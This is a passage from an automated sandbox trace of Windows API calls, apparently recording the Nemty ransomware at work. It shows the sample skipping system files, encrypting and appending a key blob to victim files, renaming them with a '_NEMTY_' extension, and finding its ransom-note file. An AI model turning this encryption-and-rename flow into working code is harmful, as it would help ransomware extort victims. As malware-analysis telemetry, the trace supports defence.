pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="oRgSmRUrDBeu4Jg2bOM+r1zmBLstoiAcSFqHJEE1q76rVEn0N2SV7H/mAFMhxx8Y\r\np9WVx5vQ6se0fc5mK/TLQqBpioUlTNInfFikqSU2N9mQUISLSTQpvN8sWmmAZwVl\r\nIgcaC6jXq2SQPH7QZ/8rx6rBp1j7vywSOwH5iPSnioHidvSYS5NOn7J2CiUu493W\r\nuZQV+VCnCSGJBiqOqgILs6hmK+wy2tsNn0LsnDe2U6CkG6V3RTmMKUBrvaAD2D3j\r\nMh9GbV8zcTlETpSAqw2UgqPFrzc6KKkROetXlHiJbwkSGHaW8MvMROJtfHjRTccW\r\nHcGZecdMYkbWmzmGBDJJYw==\r\n", pcchString=0x653e29c) returned 1 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0176.825] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=225) returned 1 [0176.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0176.825] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.825] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0176.826] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.826] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0176.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.826] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=225, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1 [0176.826] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0176.826] CloseHandle (hObject=0x2f0) returned 1 [0176.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0176.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0176.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0176.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0176.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.826] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.828] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d060390, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d060390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d060390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0176.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0176.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0176.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0176.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.829] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d060390, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d060390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d060390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0176.829] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0176.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.830] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2=".") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="..") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="...") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="windows") returned -1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="rsa") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="NTDETECT.COM") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="ntldr") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="MSDOS.SYS") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="IO.SYS") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="boot.ini") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="boot.ini") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="ntuser.dat") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="desktop.ini") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="CONFIG.SYS") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="RECYCLER") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="bootmgr") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="programdata") returned 1 [0176.830] lstrcmpiW (lpString1="Spelling.SUO", lpString2="appdata") returned 1 [0176.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SUO", lpUsedDefaultChar=0x0) returned 12 [0176.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.831] Sleep (dwMilliseconds=0x5) [0176.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d0d27b0, dwHighDateTime=0x1d561e8)) [0176.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d0d27b0, dwHighDateTime=0x1d561e8)) [0176.839] GetLastError () returned 0x12 [0176.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.839] GetLastError () returned 0x12 [0176.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.840] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.840] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="aV+XX3wpV3AZOawU6F1a3/+2tyLUQpR4fDbDDZHSlIdIYUhHi9ufHJlQCUjlV8Mx\r\nVtlk1a8lPWZZTd/1fm0m74xtC6mJuK6kGunQX+ytUvBzbOuJExQy9NxO96xWrB2q\r\nGPTexVavr+ngwDbO/ebzAmY0s/qFCig49iUb312VSLYUv4kB7p6pQBxeptulKXCD\r\n9JxJuC1sDzbInNy4RlKhIZIdyg5AKCPq/KXXh/xto2GWBITvLL04vIjCZ98J5sA2\r\nt9NWutE6cbTrfJ9uHF4wEGwg4MdEJglpACicvziK8b4Zo9pP+onXNUi6tdRjtlwz\r\nwbxI7tPXu8K2OIvyKq88xQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.841] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0176.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0176.841] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.841] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0176.843] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.843] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0176.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.843] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0176.843] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.844] CloseHandle (hObject=0x2e8) returned 1 [0176.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: 